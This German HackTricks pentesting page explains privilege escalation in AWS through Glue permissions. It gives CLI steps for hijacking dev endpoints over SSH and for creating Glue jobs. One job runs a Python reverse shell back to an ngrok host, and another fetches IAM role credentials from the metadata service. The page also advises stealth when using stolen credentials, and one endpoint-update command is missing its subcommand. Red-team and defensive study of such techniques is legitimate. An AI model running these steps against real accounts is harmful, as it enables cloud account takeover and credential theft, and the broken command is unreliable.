AWS - Glue Privesc

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

glue

iam:PassRole, glue:CreateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

Benutzer mit diesen Berechtigungen können einen neuen AWS Glue-Entwicklungs-Endpunkt einrichten, einer vorhandenen von Glue übernehmbaren Dienstrolle mit spezifischen Berechtigungen zu diesem Endpunkt zuweisen.

Nach dem Setup kann der Angreifer eine SSH-Verbindung zum Instanz des Endpunkts herstellen und die IAM-Anmeldeinformationen der zugewiesenen Rolle stehlen:

# Create endpoint
aws glue create-dev-endpoint --endpoint-name <endpoint-name> \
--role-arn <arn-role> \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

Zu Stealth-Zwecken wird empfohlen, die IAM-Anmeldeinformationen innerhalb der Glue-Virtual Machine zu verwenden.

Potenzielle Auswirkungen: Privilege Escalation auf die angegebene Glue-Service-Rolle.

glue:UpdateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

Benutzer mit dieser Berechtigung können einen vorhandenen Glue-Entwicklungs-Endpunkt SSH-Schlüssel ändern und SSH-Zugriff darauf aktivieren. Dies ermöglicht es dem Angreifer, Befehle mit den Berechtigungen der angehängten Rolle des Endpunkts auszuführen:

# Change public key to connect
aws glue --endpoint-name target_endpoint \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

Potenzielle Auswirkungen: Privilege Escalation zum verwendeten Glue-Service-Rolle.

iam:PassRole, (glue:CreateJob | glue:UpdateJob), (glue:StartJobRun | glue:CreateTrigger)

Benutzer mit iam:PassRole in Kombination mit entweder glue:CreateJob oder glue:UpdateJob, und entweder glue:StartJobRun oder glue:CreateTrigger können einen AWS Glue-Job erstellen oder aktualisieren, indem sie ein beliebiges Glue-Service-Konto anhängen und die Ausführung des Jobs initiieren. Die Fähigkeiten des Jobs umfassen das Ausführen beliebigen Python-Codes, der ausgenutzt werden kann, um eine Reverse-Shell herzustellen. Diese Reverse-Shell kann dann genutzt werden, um die IAM-Anmeldeinformationen der Rolle, die dem Glue-Job angehängt ist, zu exfiltrieren, was zu potenziell unbefugtem Zugriff oder Aktionen basierend auf den Berechtigungen dieser Rolle führen kann:

# Content of the python script saved in s3:
#import socket,subprocess,os
#s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#s.connect(("2.tcp.ngrok.io",11216))
#os.dup2(s.fileno(),0)
#os.dup2(s.fileno(),1)
#os.dup2(s.fileno(),2)
#p=subprocess.call(["/bin/sh","-i"])
#To get the IAM Role creds run: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy


# A Glue role with admin access was created
aws glue create-job \
--name privesctest \
--role arn:aws:iam::93424712358:role/GlueAdmin \
--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}'

# You can directly start the job
aws glue start-job-run --job-name privesctest
# Or you can create a trigger to start it
aws glue create-trigger --name triggerprivesc --type SCHEDULED \
--actions '[{"JobName": "privesctest"}]' --start-on-creation \
--schedule "0/5 * * * * *"  #Every 5mins, feel free to change

Potenzielle Auswirkungen: Privilege Escalation auf die angegebene Glue-Service-Rolle.

glue:UpdateJob

Nur mit der Update-Berechtigung könnte ein Angreifer die IAM-Anmeldeinformationen der bereits angehängten Rolle stehlen.

Potenzielle Auswirkungen: Privilege Escalation auf die angehängte Glue-Service-Rolle.

Referenzen

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated